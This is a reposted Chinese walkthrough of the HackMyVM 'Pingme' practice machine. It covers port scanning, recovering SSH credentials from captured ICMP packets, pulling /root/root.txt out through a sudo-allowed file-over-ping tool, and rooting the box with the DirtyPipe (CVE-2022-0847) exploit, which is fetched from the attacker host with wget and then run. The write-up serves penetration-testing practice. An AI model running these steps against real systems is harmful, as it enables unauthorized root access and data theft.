渗透测试练习No.55 CVE-2022-0847-DirtyPipe提权 HackMyVm Pingme

2023-10-25 03:10

本文主要是介绍渗透测试练习No.55 CVE-2022-0847-DirtyPipe提权 HackMyVm Pingme,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

image-20220222190922934

靶机信息

下载地址:

https://hackmyvm.eu/machines/machine.php?vm=Pingme
网盘链接:https://pan.baidu.com/s/1MYO7cEOg2xou1FrC40v6qg?pwd=ja7r 

靶场: HackMyVm.eu

靶机名称: Pingme

难度: 中等

发布时间: 2022年3月9日

提示信息:

目标: user.txt和root.txt

实验环境

攻击机:VMware kali 10.0.0.3靶机:Vbox linux IP自动获取

信息收集

扫描主机

扫描局域网内的靶机IP地址

sudo nmap -sP 10.0.0.3/24

image-20220309220313665

扫描到主机地址为10.0.0.106

扫描端口

扫描靶机开放的服务端口

sudo nmap -sC -sV -p- 10.0.0.106 -oN nmap.log

image-20220309220601229

扫描到22端口和80端口开放,先访问80端口看看

Web渗透

http://10.0.0.106

image-20220309220955183

image-20220311190556807

打开后发现首页显示的是Ping命令的结果,网站获取了访问者的ip,并在后台执行了ping命令。源码中提示了icmp包传输并让我们去其他地方看看,这里除了80端口就只有22端口,也看不到其他什么内容,按照提示看看icmp包里传输了什么

1。攻击机上开启tcpdump抓icmp包并保存

sudo tcpdump -i eth1 icmp -w icmp

image-20220311192349867

2。访问页面,让后台执行Ping命令

image-20220311192244028

3。执行完成后在攻击机上手动Ctrl+c结果抓包,

image-20220311191826740

4。使用wireshark加载包查看传输内容

wireshark icmp

image-20220311192756562

image-20220311192826796

可以看到两次传输的包内有username和pasword内容,查看每个包的内容(只看request包即可)

image-20220311195154443

image-20220311202125722

拿到用户名pinger和密码(密码在另外2个包内),现在去登录SSH

ssh pinger@10.0.0.106

image-20220311195544483

登录成功,搜集下主机中的敏感信息

ls
cat user.txt

image-20220311200304876

拿到user.txt,继续找

sudo -l

image-20220311195650157

发现可以使用root身份去执行sendfilebyping命令,先看看这个程序是做什么的

/usr/local/sbin/sendfilebyping

image-20220311200031990

这个程序是使用ping命令来传输文件,我们试试

1。攻击机打开tcpdump抓icmp包并输出为file.pacpng

sudo tcpdump -i eth1 icmp -w file.pacpng

image-20220311202957031

2。靶机上执行sendfilebyping命令,这里试着猜测/root/目录下有一个root.txt文件

sudo /usr/local/sbin/sendfilebyping 10.0.0.3 /root/root.txt

image-20220311203208802

一共发了21个包,现在手动关闭攻击机上的tcpdump,再使用wireshark打开file.pacpng文件

Ctrl+c
wireshark file.pacpng

image-20220311203400853

image-20220311204023215

image-20220311204112386

image-20220311204136825

image-20220311204157646

每个包中包含了flag的一个字符,将这些包内的字符拼接到一起就是完整的root.txt了。

CVE-2022-0847-DirtyPipe提权

在我收集主机信息时发现内核版本存在CVE-2022-0847-DirtyPipe漏洞,尝试复现这个漏洞

下载exp

git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit.git

image-20220312011003777

下载完成开始编译

cd CVE-2022-0847-DirtyPipe-Exploit
ls
chmdo +x compile.sh
./compile.sh
ls

image-20220312011557788

编译完成,现在将他上传到靶机中执行。

1。攻击机上开启HTTP服务

python3 -m http.server

image-20220312012157929

2。靶机下载exp添加可执行权限并执行

cd /tmp
wget http://10.0.0.3:8000/exploit
chmod +x exploit
./exploit

image-20220312012630423

提示找不到GLIBC_2.33,原因是攻击机上的GLIBC是高版本的,对靶机上的版本检查只有2.30这个版本,随后我从其他低版本的机器上编译了exp并上传到了靶机上。

./exp

image-20220312013503885

image-20220312013709799

根据提示,exp修改了passwd文件中的root密码,修改后的密码为aaron,验证一下

su root

image-20220312013742401

提权成功,来看下flag

cd /root
ls
cat root.txt

image-20220312013830125

拿到root.txt,游戏结束。
在这里插入图片描述
公众号二维码

这篇关于渗透测试练习No.55 CVE-2022-0847-DirtyPipe提权 HackMyVm Pingme的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/279622

相关文章

Visual Studio 2022 编译C++20代码的图文步骤

《VisualStudio2022编译C++20代码的图文步骤》在VisualStudio中启用C++20import功能,需设置语言标准为ISOC++20,开启扫描源查找模块依赖及实验性标... 默认创建Visual Studio桌面控制台项目代码包含C++20的import方法。右键项目的属性:

使用Python进行GRPC和Dubbo协议的高级测试

《使用Python进行GRPC和Dubbo协议的高级测试》GRPC(GoogleRemoteProcedureCall)是一种高性能、开源的远程过程调用(RPC)框架,Dubbo是一种高性能的分布式服... 目录01 GRPC测试安装gRPC编写.proto文件实现服务02 Dubbo测试1. 安装Dubb

Python的端到端测试框架SeleniumBase使用解读

《Python的端到端测试框架SeleniumBase使用解读》:本文主要介绍Python的端到端测试框架SeleniumBase使用,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全... 目录SeleniumBase详细介绍及用法指南什么是 SeleniumBase?SeleniumBase

python多线程并发测试过程

《python多线程并发测试过程》:本文主要介绍python多线程并发测试过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、并发与并行?二、同步与异步的概念?三、线程与进程的区别?需求1:多线程执行不同任务需求2:多线程执行相同任务总结一、并发与并行?1、

SpringBoot中整合RabbitMQ(测试+部署上线最新完整)的过程

《SpringBoot中整合RabbitMQ(测试+部署上线最新完整)的过程》本文详细介绍了如何在虚拟机和宝塔面板中安装RabbitMQ,并使用Java代码实现消息的发送和接收,通过异步通讯,可以优化... 目录一、RabbitMQ安装二、启动RabbitMQ三、javascript编写Java代码1、引入

Nginx设置连接超时并进行测试的方法步骤

《Nginx设置连接超时并进行测试的方法步骤》在高并发场景下,如果客户端与服务器的连接长时间未响应,会占用大量的系统资源,影响其他正常请求的处理效率,为了解决这个问题,可以通过设置Nginx的连接... 目录设置连接超时目的操作步骤测试连接超时测试方法:总结:设置连接超时目的设置客户端与服务器之间的连接

如何测试计算机的内存是否存在问题? 判断电脑内存故障的多种方法

《如何测试计算机的内存是否存在问题?判断电脑内存故障的多种方法》内存是电脑中非常重要的组件之一,如果内存出现故障,可能会导致电脑出现各种问题,如蓝屏、死机、程序崩溃等,如何判断内存是否出现故障呢?下... 如果你的电脑是崩溃、冻结还是不稳定,那么它的内存可能有问题。要进行检查,你可以使用Windows 11

性能测试介绍

性能测试是一种测试方法,旨在评估系统、应用程序或组件在现实场景中的性能表现和可靠性。它通常用于衡量系统在不同负载条件下的响应时间、吞吐量、资源利用率、稳定性和可扩展性等关键指标。 为什么要进行性能测试 通过性能测试,可以确定系统是否能够满足预期的性能要求,找出性能瓶颈和潜在的问题,并进行优化和调整。 发现性能瓶颈:性能测试可以帮助发现系统的性能瓶颈,即系统在高负载或高并发情况下可能出现的问题

字节面试 | 如何测试RocketMQ、RocketMQ?

字节面试:RocketMQ是怎么测试的呢? 答: 首先保证消息的消费正确、设计逆向用例,在验证消息内容为空等情况时的消费正确性; 推送大批量MQ,通过Admin控制台查看MQ消费的情况,是否出现消费假死、TPS是否正常等等问题。(上述都是临场发挥,但是RocketMQ真正的测试点,还真的需要探讨) 01 先了解RocketMQ 作为测试也是要简单了解RocketMQ。简单来说,就是一个分

【测试】输入正确用户名和密码,点击登录没有响应的可能性原因

目录 一、前端问题 1. 界面交互问题 2. 输入数据校验问题 二、网络问题 1. 网络连接中断 2. 代理设置问题 三、后端问题 1. 服务器故障 2. 数据库问题 3. 权限问题: 四、其他问题 1. 缓存问题 2. 第三方服务问题 3. 配置问题 一、前端问题 1. 界面交互问题 登录按钮的点击事件未正确绑定,导致点击后无法触发登录操作。 页面可能存在